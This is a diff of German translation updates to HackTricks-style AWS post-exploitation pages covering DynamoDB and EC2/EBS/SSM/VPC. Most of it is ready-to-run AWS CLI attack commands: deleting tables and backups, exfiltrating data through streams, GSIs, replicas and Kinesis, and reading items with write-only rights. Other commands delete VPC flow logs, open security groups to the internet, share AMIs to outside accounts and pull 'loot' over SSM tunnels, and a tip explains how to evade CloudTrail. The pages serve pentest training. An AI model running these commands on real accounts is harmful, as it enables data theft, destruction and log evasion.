 {{#tab name="XSS Example" }}
@@ -243,11 +243,11 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potentielle Auswirkungen:** Ausnutzung weiterer vulnerabilities/bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern
+**Potenzielle Auswirkungen:** Ausnutzung weiterer Schwachstellen/Bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen oder zu ändern
 
 ### `dynamodb:DeleteTable`
 
-Ein Angreifer mit dieser Berechtigung kann **eine DynamoDB-Tabelle löschen, was zu Datenverlust führt**.
+Ein Angreifer mit dieser Berechtigung kann **eine DynamoDB-Tabelle löschen, was zu Datenverlust führt**
 ```bash
 aws dynamodb delete-table \
 --table-name TargetTable \
@@ -263,14 +263,14 @@ aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**Potential impact**: Datenverlust und Unfähigkeit, im Disaster-Recovery-Fall aus einem Backup wiederherzustellen.
+**Potential impact**: Datenverlust und die Unfähigkeit, während eines Disaster-Recovery-Szenarios aus einem Backup wiederherzustellen.
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
-> TODO: Prüfen, ob das tatsächlich funktioniert
+> TODO: Testen, ob das tatsächlich funktioniert
 
-Ein Angreifer mit diesen Berechtigungen kann **einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, damit Änderungen gestreamt werden, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen**. Dies erlaubt dem Angreifer, Datenänderungen zu überwachen und zu exfiltrieren, was möglicherweise zu data leakage führt.
+Ein Angreifer mit diesen Berechtigungen kann **einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, damit Änderungen gestreamt werden, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen**. Dadurch kann der Angreifer Änderungen überwachen und exfiltrate data changes, was möglicherweise zu data leakage führt.
 
 1. Einen Stream auf einer DynamoDB-Tabelle aktivieren:
 ```bash
@@ -279,13 +279,13 @@ aws dynamodb update-table \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
 --region <region>
 ```
-2. Beschreibe den Stream, um die ARN und andere Details zu erhalten:
+2. Beschreibe den Stream, um die ARN und weitere Details zu erhalten:
 ```bash
 aws dynamodb describe-stream \
 --table-name TargetTable \
 --region <region>
 ```
-3. Erhalte den Shard-Iterator mithilfe der Stream-ARN:
+3. Den shard iterator mit der stream ARN abrufen:
 ```bash
 aws dynamodbstreams get-shard-iterator \
 --stream-arn <stream_arn> \
@@ -293,19 +293,19 @@ aws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-Verwende den shard iterator, um auf den stream zuzugreifen und exfiltrate data from the stream:
+4. Verwende den shard iterator, um auf den stream zuzugreifen und Daten daraus zu exfiltrate:
 ```bash
 aws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**Potential impact**: Echtzeit-Überwachung und Datenabfluss der Änderungen an der DynamoDB-Tabelle.
+**Mögliche Auswirkungen**: Echtzeitüberwachung und data leak von Änderungen an der DynamoDB-Tabelle.
 
-### Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
+### Items lesen über `dynamodb:UpdateItem` und `ReturnValues=ALL_OLD`
 
-Ein Angreifer mit nur `dynamodb:UpdateItem` auf einer Tabelle kann Items lesen, ohne eine der üblichen Lese-Berechtigungen (`GetItem`/`Query`/`Scan`), indem er ein harmloses Update durchführt und `--return-values ALL_OLD` anfragt. DynamoDB gibt das vollständige Vor-Update-Abbild des Items im Feld `Attributes` der Antwort zurück (dies verbraucht keine RCUs).
+Ein Angreifer mit lediglich `dynamodb:UpdateItem` auf einer Tabelle kann Items lesen, ohne eine der üblichen Lese-Berechtigungen (`GetItem`/`Query`/`Scan`), indem er ein harmloses Update durchführt und `--return-values ALL_OLD` anfordert. DynamoDB gibt das vollständige Pre-Update-Abbild des Items im `Attributes`-Feld der Antwort zurück (dies verbraucht keine RCUs).
 
-- Minimale Berechtigungen: `dynamodb:UpdateItem` auf der Zieltabelle/Key.
+- Minimale Berechtigungen: `dynamodb:UpdateItem` auf der Ziel-Tabelle/-Key.
 - Voraussetzungen: Sie müssen den Primärschlüssel des Items kennen.
 
 Beispiel (fügt ein harmloses Attribut hinzu und exfiltrates das vorherige Item in der Antwort):
@@ -319,14 +319,14 @@ aws dynamodb update-item \
 --return-values ALL_OLD \
 --region <region>
 ```
-Die CLI-Antwort enthält einen `Attributes`-Block, der das vollständige vorherige Item (alle Attribute) enthält und damit effektiv eine Leseprimitive aus reinem Schreibzugriff bereitstellt.
+Die CLI-Antwort wird einen `Attributes`-Block enthalten, der das komplette vorherige Item (alle Attribute) enthält und damit effektiv eine Lese-Primitive bei write-only-Zugriff bereitstellt.
 
-**Potentielle Auswirkungen:** Beliebige Items aus einer Tabelle mit nur Schreibberechtigungen lesen, wodurch die Exfiltration sensibler Daten möglich wird, wenn Primärschlüssel bekannt sind.
+**Mögliche Auswirkungen:** Beliebige Items aus einer Tabelle lesen, obwohl nur Schreibberechtigungen bestehen, wodurch die Exfiltration sensibler Daten möglich wird, wenn die Primärschlüssel bekannt sind.
 
 
 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
 
-Heimliche Exfiltration durch Hinzufügen einer neuen Replica-Region zu einer DynamoDB Global Table (version 2019.11.21). Kann ein principal eine regionale Replik hinzufügen, wird die gesamte Tabelle in die vom Angreifer gewählte Region repliziert, von der aus der Angreifer alle Items lesen kann.
+Heimliche Exfiltration durch Hinzufügen einer neuen Replica-Region zu einer DynamoDB Global Table (version 2019.11.21). Wenn ein Principal eine regionale Replik hinzufügen kann, wird die gesamte Tabelle in die vom Angreifer gewählte Region repliziert, von der aus der Angreifer alle Items lesen kann.
 
 {{#tabs }}
 {{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -355,13 +355,13 @@ aws dynamodb update-table \
 {{#endtab }}
 {{#endtabs }}
 
-Berechtigungen: `dynamodb:UpdateTable` (mit `replica-updates`) oder `dynamodb:CreateTableReplica` auf der Ziel-Tabelle. Wenn in der Replik ein CMK verwendet wird, können KMS-Berechtigungen für diesen Schlüssel erforderlich sein.
+Berechtigungen: `dynamodb:UpdateTable` (mit `replica-updates`) oder `dynamodb:CreateTableReplica` auf der Ziel-Tabelle. Wenn in der Replica ein CMK verwendet wird, können KMS-Berechtigungen für diesen Schlüssel erforderlich sein.
 
-Mögliche Auswirkungen: Vollständige Tabellenreplikation in eine von einem Angreifer kontrollierte Region, was zu heimlicher Datenexfiltration führt.
+Mögliche Auswirkungen: Vollständige Tabellenreplikation in eine vom Angreifer kontrollierte Region, die zu unauffälliger Datenexfiltration führt.
 
-### `dynamodb:TransactWriteItems` (Lesen via fehlgeschlagene Bedingung + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
+### `dynamodb:TransactWriteItems` (lesen über fehlgeschlagene Bedingung + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
 
-Ein Angreifer mit transaktionalen Schreibberechtigungen kann die vollständigen Attribute eines bestehenden Items exfiltrieren, indem er ein `Update` innerhalb von `TransactWriteItems` durchführt, das absichtlich eine `ConditionExpression` fehlschlagen lässt, während `ReturnValuesOnConditionCheckFailure=ALL_OLD` gesetzt ist. Im Fehlerfall fügt DynamoDB die vorherigen Attribute in die Gründe für die Transaktionsstornierung ein und verwandelt damit effektiv nur-Schreibzugriff in Lesezugriff auf die angezielten Schlüssel.
+Ein Angreifer mit transaktionalen Schreibrechten kann die vollständigen Attribute eines vorhandenen item exfiltrieren, indem er ein `Update` innerhalb von `TransactWriteItems` ausführt, das absichtlich eine `ConditionExpression` fehlschlagen lässt, während `ReturnValuesOnConditionCheckFailure=ALL_OLD` gesetzt ist. Beim Fehlschlag fügt DynamoDB die vorherigen Attribute in die Gründe für den Abbruch der Transaktion ein und wandelt damit schreibberechtigten Zugriff effektiv in Lesezugriff auf die gezielten Keys um.
 
 {{#tabs }}
 {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -410,19 +410,19 @@ print(e.response['CancellationReasons'][0]['Item'])
 {{#endtab }}
 {{#endtabs }}
 
-Berechtigungen: `dynamodb:TransactWriteItems` auf der Ziel-Tabelle (und dem zugrunde liegenden Item). Es sind keine Lese-Berechtigungen erforderlich.
+Berechtigungen: `dynamodb:TransactWriteItems` auf der Ziel-Tabelle (und dem zugrundeliegenden Item). Es sind keine Lese-Berechtigungen erforderlich.
 
-Mögliche Auswirkungen: Beliebige Items (per Primärschlüssel) aus einer Tabelle lesen, indem nur transaktionale Schreibrechte über die zurückgegebenen Abbruchgründe verwendet werden.
+Potentielle Auswirkungen: Beliebige Items (per Primärschlüssel) aus einer Tabelle lesen, nur mit Transaktions-Schreibberechtigungen mithilfe der zurückgegebenen cancellation reasons.
 
 
-### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
+### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` auf GSI
 
-Umgehung von Leseeinschränkungen, indem man einen Global Secondary Index (GSI) mit `ProjectionType=ALL` auf einem Attribut mit niedriger Entropie erstellt, dieses Attribut über alle Items hinweg auf einen konstanten Wert setzt und dann den Index per `Query` abruft, um die vollständigen Items zu erhalten. Das funktioniert selbst dann, wenn `Query`/`Scan` auf der Basistabelle verweigert wird, solange Sie den Index-ARN abfragen können.
+Leseeinschränkungen umgehen, indem ein Global Secondary Index (GSI) mit `ProjectionType=ALL` auf einem Attribut mit geringer Entropie erstellt wird, dieses Attribut über alle Items auf einen konstanten Wert gesetzt wird und dann der Index mit `Query` abgefragt wird, um komplette Items zu erhalten. Das funktioniert selbst wenn `Query`/`Scan` auf der Basistabelle verweigert wird, solange der Index-ARN abgefragt werden kann.
 
 - Minimale Berechtigungen:
 - `dynamodb:UpdateTable` auf der Ziel-Tabelle (um den GSI mit `ProjectionType=ALL` zu erstellen).
-- `dynamodb:UpdateItem` auf den Schlüsseln der Ziel-Tabelle (um das indizierte Attribut bei jedem Item zu setzen).
-- `dynamodb:Query` auf die Index-Ressourcen-ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
+- `dynamodb:UpdateItem` auf den Schlüsseln der Ziel-Tabelle (um das indizierte Attribut in jedem Item zu setzen).
+- `dynamodb:Query` auf dem Index-Resource-ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
 
 Schritte (PoC in us-east-1):
 ```bash
@@ -462,17 +462,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
 --expression-attribute-values '{":v":{"S":"dump"}}' \
 --region us-east-1
 ```
-**Potential Impact:** Full table exfiltration durch Abfragen eines neu erstellten GSI, der alle Attribute projiziert, selbst wenn Lese-APIs der Basistabelle verweigert werden.
+**Potenzielle Auswirkungen:** Full table exfiltration durch Abfrage eines neu erstellten GSI, der alle Attribute projiziert, selbst wenn Lese-APIs der Basistabelle verweigert werden.
 
 
-### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
+### `dynamodb:EnableKinesisStreamingDestination` (Kontinuierliche exfiltration via Kinesis Data Streams)
 
-Ausnutzen von DynamoDB Kinesis streaming destinations, um Änderungen aus einer Tabelle kontinuierlich in einen vom Angreifer kontrollierten Kinesis Data Stream zu exfiltrate. Nach Aktivierung wird jedes INSERT/MODIFY/REMOVE-Ereignis nahezu in Echtzeit an den Stream weitergeleitet, ohne dass Lese-Berechtigungen auf der Tabelle erforderlich sind.
+Ausnutzung von DynamoDB Kinesis streaming destinations, um Änderungen aus einer Tabelle kontinuierlich zu exfiltrate in einen vom Angreifer kontrollierten Kinesis Data Stream. Nach Aktivierung wird jedes INSERT/MODIFY/REMOVE-Ereignis nahezu in Echtzeit an den Stream weitergeleitet, ohne dass Leseberechtigungen für die Tabelle erforderlich sind.
 
 Minimale Berechtigungen (Angreifer):
 - `dynamodb:EnableKinesisStreamingDestination` auf der Ziel-Tabelle
 - Optional `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`, um den Status zu überwachen
-- Lese-Berechtigungen auf dem vom Angreifer kontrollierten Kinesis-Stream, um Records zu konsumieren: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
+- Lese-Berechtigungen für den vom Angreifer kontrollierten Kinesis-Stream, um Records zu konsumieren: `kinesis:*`
 
 <details>
 <summary>PoC (us-east-1)</summary>
@@ -531,8 +531,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
 </details>
 
-**Potentielle Auswirkungen:** Kontinuierliche, nahezu in Echtzeit exfiltration von Tabellenänderungen zu einem vom Angreifer kontrollierten Kinesis-Stream ohne direkte Leseoperationen auf der Tabelle.
+**Potential Impact:** Kontinuierliche, nahezu in Echtzeit stattfindende Exfiltration von Tabellenänderungen zu einem vom Angreifer kontrollierten Kinesis-Stream ohne direkte Leseoperationen auf der Tabelle.
 
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md

@@ -10,10 +10,10 @@ Für weitere Informationen siehe:
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-### **Bösartiges VPC-Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
+### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-VPC-Traffic-Mirroring **dupliziert den eingehenden und ausgehenden Verkehr für EC2-Instanzen innerhalb eines VPC** ohne die Notwendigkeit, etwas auf den Instanzen selbst zu installieren. Dieser duplizierte Verkehr würde normalerweise an etwas wie ein Netzwerk-Intrusion-Detection-System (IDS) zur Analyse und Überwachung gesendet.\
-Ein Angreifer könnte dies ausnutzen, um den gesamten Verkehr zu erfassen und sensible Informationen daraus zu erhalten:
+VPC traffic mirroring **dupliziert eingehenden und ausgehenden Traffic für EC2 instances innerhalb einer VPC** ohne die Notwendigkeit, etwas auf den instances selbst zu installieren. Dieser duplizierte Traffic würde üblicherweise an etwas wie ein Netzwerk-Intrusion-Detection-System (IDS) zur Analyse und Überwachung gesendet werden.\
+Ein Angreifer könnte dies missbrauchen, um den gesamten Traffic abzufangen und daraus sensible Informationen zu gewinnen:
 
 Für weitere Informationen siehe diese Seite:
 
@@ -21,9 +21,9 @@ Für weitere Informationen siehe diese Seite:
 aws-malicious-vpc-mirror.md
 {{#endref}}
 
-### Laufende Instanz kopieren
+### Copy Running Instance
 
-Instanzen enthalten normalerweise eine Art von sensiblen Informationen. Es gibt verschiedene Möglichkeiten, um Zugang zu erhalten (siehe [EC2 Privilegieneskalationstricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Eine andere Möglichkeit, um zu überprüfen, was sie enthält, besteht darin, **eine AMI zu erstellen und eine neue Instanz (sogar in Ihrem eigenen Konto) daraus zu starten**:
+Instances enthalten normalerweise irgendeine Art von sensiblen Informationen. Es gibt verschiedene Wege, hineinzukommen (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Allerdings ist eine andere Möglichkeit, den Inhalt zu prüfen, **ein AMI zu erstellen und daraus eine neue instance (auch in deinem eigenen account) zu starten**:
 ```shell
 # List instances
 aws ec2 describe-images
@@ -49,109 +49,174 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 ```
 ### EBS Snapshot dump
 
-**Snapshots sind Backups von Volumes**, die normalerweise **sensible Informationen** enthalten, daher sollte deren Überprüfung diese Informationen offenbaren.\
-Wenn Sie ein **Volume ohne Snapshot** finden, könnten Sie: **Einen Snapshot erstellen** und die folgenden Aktionen durchführen oder es einfach **in einer Instanz** innerhalb des Kontos **einbinden**:
+**Snapshots sind Backups von volumes**, die normalerweise **sensible Informationen** enthalten; daher sollte deren Überprüfung diese Informationen offenlegen.\
+Wenn du ein **volume ohne snapshot** findest, könntest du: **einen snapshot erstellen** und die folgenden Aktionen durchführen oder es einfach **in einer instance** innerhalb des account mounten:
 
 {{#ref}}
 aws-ebs-snapshot-dump.md
 {{#endref}}
 
+### Covert Disk Exfiltration via AMI Store-to-S3
+
+Exportiere ein EC2 AMI direkt nach S3 mit `CreateStoreImageTask`, um ein rohes Festplattenimage ohne Snapshot-Sharing zu erhalten. Dadurch sind vollständige Offline-Forensik oder Datendiebstahl möglich, ohne das Netzwerk der instance zu verändern.
+
+{{#ref}}
+aws-ami-store-s3-exfiltration.md
+{{#endref}}
+
+### Live Data Theft via EBS Multi-Attach
+
+Hänge ein io1/io2 Multi-Attach volume an eine zweite instance und mounte es read-only, um Live-Daten ohne Snapshots abzuziehen. Nützlich, wenn das Opfer-volume bereits Multi-Attach in derselben AZ aktiviert hat.
+
+{{#ref}}
+aws-ebs-multi-attach-data-theft.md
+{{#endref}}
+
+### EC2 Instance Connect Endpoint Backdoor
+
+Erstelle einen EC2 Instance Connect Endpoint, erlaube Ingress und injiziere ephemere SSH-Keys, um über einen managed Tunnel auf private instances zuzugreifen. Bietet schnelle laterale Bewegungsmöglichkeiten, ohne öffentliche Ports zu öffnen.
+
+{{#ref}}
+aws-ec2-instance-connect-endpoint-backdoor.md
+{{#endref}}
+
+### EC2 ENI Secondary Private IP Hijack
+
+Verschiebe die sekundäre private IP einer Opfer-ENI zu einer vom Angreifer kontrollierten ENI, um vertrauenswürdige Hosts zu impersonifizieren, die per IP allowgelistet sind. Ermöglicht das Umgehen interner ACLs oder SG-Regeln, die an bestimmte Adressen gebunden sind.
+
+{{#ref}}
+aws-eni-secondary-ip-hijack.md
+{{#endref}}
+
+### Elastic IP Hijack for Ingress/Egress Impersonation
+
+Weise eine Elastic IP vom Opfer-instance dem Angreifer zu, um eingehenden Traffic zu intercepten oder ausgehende Verbindungen zu originieren, die so aussehen, als kämen sie von vertrauenswürdigen öffentlichen IPs.
+
+{{#ref}}
+aws-eip-hijack-impersonation.md
+{{#endref}}
+
+### Security Group Backdoor via Managed Prefix Lists
+
+Wenn eine Security Group-Regel eine customer-managed prefix list referenziert, erweitert das Hinzufügen von Angreifer-CIDRs zur Liste stillschweigend den Zugriff über jede abhängige SG-Regel, ohne die SG selbst zu ändern.
+
+{{#ref}}
+aws-managed-prefix-list-backdoor.md
+{{#endref}}
+
+### VPC Endpoint Egress Bypass
+
+Erstelle gateway- oder interface-VPC endpoints, um den ausgehenden Zugriff aus isolierten Subnetzen wiederherzustellen. Die Nutzung von AWS-managed private links umgeht fehlende IGW/NAT-Kontrollen für Datenexfiltration.
+
+{{#ref}}
+aws-vpc-endpoint-egress-bypass.md
+{{#endref}}
+
+### VPC Flow Logs Cross-Account Exfiltration
+
+Leite VPC Flow Logs an ein vom Angreifer kontrolliertes S3-Bucket, um fortlaufend Netzwerk-Metadaten (Source/Destination, Ports) außerhalb des Opfer-accounts für langfristige Aufklärung zu sammeln.
+
+{{#ref}}
+aws-vpc-flow-logs-cross-account-exfiltration.md
+{{#endref}}
+
 ### Data Exfiltration
 
 #### DNS Exfiltration
 
-Selbst wenn Sie eine EC2 so absichern, dass kein Verkehr nach außen gelangen kann, kann sie dennoch **über DNS exfiltrieren**.
+Selbst wenn du eine EC2 so einschränkst, dass kein Traffic herauskommt, kann sie dennoch **über DNS exfiltrieren**.
 
 - **VPC Flow Logs werden dies nicht aufzeichnen**.
-- Sie haben keinen Zugriff auf AWS DNS-Logs.
-- Deaktivieren Sie dies, indem Sie "enableDnsSupport" auf false setzen mit:
+- Du hast keinen Zugriff auf AWS DNS-Logs.
+- Deaktiviere dies, indem du "enableDnsSupport" auf false setzt mit:
 
 `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
 
 #### Exfiltration via API calls
 
-Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Kontos aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird in der Lage sein, die exfiltrierten Daten in den Cloudtrail-Logs zu sehen.
+Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Accounts aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer kann die exfiltrierten Daten in den Cloudtrail-Logs sehen.
 
 ### Open Security Group
 
-Sie könnten weiteren Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:
+Du könntest weiteren Zugriff auf Netzwerkdienste erhalten, indem du Ports wie folgt öffnest:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
-### Privesc zu ECS
+### Privesc to ECS
 
-Es ist möglich, eine EC2-Instanz zu starten und sie zu registrieren, um ECS-Instanzen auszuführen, und dann die Daten der ECS-Instanzen zu stehlen.
+Es ist möglich, eine EC2-Instanz zu starten und sie so zu registrieren, dass sie zum Ausführen von ECS-Instanzen verwendet wird, und anschließend die Daten der ECS-Instanzen zu stehlen.
 
-Für [**weitere Informationen siehe hier**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
+Für [**weitere Informationen siehe hier**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
 
-### VPC-Flussprotokolle entfernen
+### Remove VPC flow logs
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
-### SSM Port Forwarding
+### SSM Port-Weiterleitung
 
 Erforderliche Berechtigungen:
 
 - `ssm:StartSession`
 
-Neben der Ausführung von Befehlen ermöglicht SSM das Tunneln von Datenverkehr, was missbraucht werden kann, um von EC2-Instanzen zu pivotieren, die aufgrund von Sicherheitsgruppen oder NACLs keinen Netzwerkzugang haben. Ein Szenario, in dem dies nützlich ist, ist das Pivotieren von einem [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) zu einem privaten EKS-Cluster.
+Zusätzlich zur Ausführung von Befehlen ermöglicht SSM Traffic-Tunneling, das missbraucht werden kann, um von EC2-Instanzen zu pivoten, die aufgrund von Security Groups oder NACLs keinen Netzwerkzugang haben.
+Eines der Szenarien, in denen dies nützlich ist, ist das Pivoting von einem [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) zu einem privaten EKS-Cluster.
 
-> Um eine Sitzung zu starten, benötigen Sie das SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> Um eine Session zu starten, benötigen Sie das installierte SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
-1. Installieren Sie das SessionManagerPlugin auf Ihrem Computer
-2. Melden Sie sich mit dem folgenden Befehl am Bastion EC2 an:
+1. Installieren Sie das SessionManagerPlugin auf Ihrer Maschine
+2. Melden Sie sich beim Bastion EC2 mit folgendem Befehl an:
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. Holen Sie sich die temporären Bastion EC2 AWS-Anmeldeinformationen mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) Skript  
-4. Übertragen Sie die Anmeldeinformationen auf Ihren eigenen Computer in die Datei `$HOME/.aws/credentials` als `[bastion-ec2]` Profil  
-5. Melden Sie sich bei EKS als Bastion EC2 an:
+3. Hole die temporären AWS-Anmeldeinformationen des Bastion EC2 mit dem Skript [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
+4. Übertrage die Anmeldeinformationen auf deine eigene Maschine in der `$HOME/.aws/credentials` Datei als Profil `[bastion-ec2]`
+5. Melde dich bei EKS als Bastion EC2 an:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
-6. Aktualisieren Sie das `server`-Feld in der Datei `$HOME/.kube/config`, um auf `https://localhost` zu verweisen.  
-7. Erstellen Sie einen SSM-Tunnel wie folgt:
+6. Aktualisiere das Feld `server` in der Datei `$HOME/.kube/config`, sodass es auf `https://localhost` zeigt
+7. Erstelle einen SSM-Tunnel wie folgt:
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-8. Der Verkehr vom `kubectl`-Tool wird jetzt über den SSM-Tunnel über die Bastion EC2 weitergeleitet, und Sie können auf den privaten EKS-Cluster von Ihrem eigenen Computer aus zugreifen, indem Sie Folgendes ausführen:
+8. Der Traffic des Tools `kubectl` wird jetzt durch den SSM-Tunnel über die Bastion EC2 weitergeleitet und Sie können von Ihrem eigenen Rechner auf den privaten EKS-Cluster zugreifen, indem Sie Folgendes ausführen:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-Beachten Sie, dass die SSL-Verbindungen fehlschlagen, es sei denn, Sie setzen das `--insecure-skip-tls-verify`-Flag (oder dessen Äquivalent in K8s-Audit-Tools). Da der Datenverkehr durch den sicheren AWS SSM-Tunnel getunnelt wird, sind Sie vor jeglichen MitM-Angriffen geschützt.
+Beachte, dass die SSL-Verbindungen fehlschlagen, sofern du nicht das Flag `--insecure-skip-tls-verify ` setzt (oder dessen Äquivalent in K8s-Audit-Tools). Da der Traffic durch den sicheren AWS SSM-Tunnel geleitet wird, bist du vor jeglicher Art von MitM-Angriffen geschützt.
 
-Schließlich ist diese Technik nicht spezifisch für Angriffe auf private EKS-Cluster. Sie können beliebige Domains und Ports festlegen, um zu einem anderen AWS-Dienst oder einer benutzerdefinierten Anwendung zu pivotieren.
+Schließlich ist diese Technik nicht spezifisch für Angriffe auf private EKS-Cluster. Du kannst beliebige Domains und Ports setzen, um zu jedem anderen AWS-Service oder einer eigenen Anwendung zu pivotieren.
 
 ---
 
-#### Schnelles lokales ↔️ Remote-Port-Forwarding (AWS-StartPortForwardingSession)
+#### Schnelle lokale ↔ entfernte Port-Weiterleitung (AWS-StartPortForwardingSession)
 
-Wenn Sie nur **einen TCP-Port von der EC2-Instanz zu Ihrem lokalen Host weiterleiten** müssen, können Sie das `AWS-StartPortForwardingSession` SSM-Dokument verwenden (kein Remote-Host-Parameter erforderlich):
+Wenn du nur **einen TCP-Port von der EC2-Instance zu deinem lokalen Host** weiterleiten musst, kannst du das SSM-Dokument `AWS-StartPortForwardingSession` verwenden (kein Parameter für einen remote Host erforderlich):
 ```bash
 aws ssm start-session --target i-0123456789abcdef0 \
 --document-name AWS-StartPortForwardingSession \
 --parameters "portNumber"="8000","localPortNumber"="8000" \
 --region <REGION>
 ```
-Der Befehl stellt einen bidirektionalen Tunnel zwischen Ihrem Arbeitsplatz (`localPortNumber`) und dem ausgewählten Port (`portNumber`) auf der Instanz **ohne das Öffnen von eingehenden Sicherheitsgruppenregeln** her.
+Der Befehl stellt einen bidirektionalen Tunnel zwischen Ihrer workstation (`localPortNumber`) und dem ausgewählten Port (`portNumber`) auf der instance **ohne Öffnen von inbound Security-Group rules**.
 
 Häufige Anwendungsfälle:
 
-* **Dateiexfiltration**
-1. Starten Sie auf der Instanz einen schnellen HTTP-Server, der auf das Verzeichnis zeigt, das Sie exfiltrieren möchten:
+* **File exfiltration**
+1. Auf der instance einen schnellen HTTP-Server starten, der auf das Verzeichnis zeigt, das du exfiltrieren möchtest:
 
 ```bash
 python3 -m http.server 8000
 ```
 
-2. Holen Sie sich die Dateien von Ihrem Arbeitsplatz über den SSM-Tunnel:
+2. Von deiner workstation die Dateien über den SSM-Tunnel abrufen:
 
 ```bash
 curl http://localhost:8000/loot.txt -o loot.txt
 ```
 
-* **Zugriff auf interne Webanwendungen (z.B. Nessus)**
+* **Zugriff auf interne Webanwendungen (z. B. Nessus)**
 ```bash
 # Forward remote Nessus port 8834 to local 8835
 aws ssm start-session --target i-0123456789abcdef0 \
@@ -159,28 +224,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
 --parameters "portNumber"="8834","localPortNumber"="8835"
 # Browse to http://localhost:8835
 ```
-Tipp: Komprimieren und verschlüsseln Sie Beweise, bevor Sie sie exfiltrieren, damit CloudTrail den Klartextinhalt nicht protokolliert:
+Tipp: Komprimiere und verschlüssele Beweise, bevor du sie exfiltrierst, damit CloudTrail den Klartext nicht protokolliert:
 ```bash
 # On the instance
 7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
 ```
-### AMI teilen
+### AMI freigeben
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
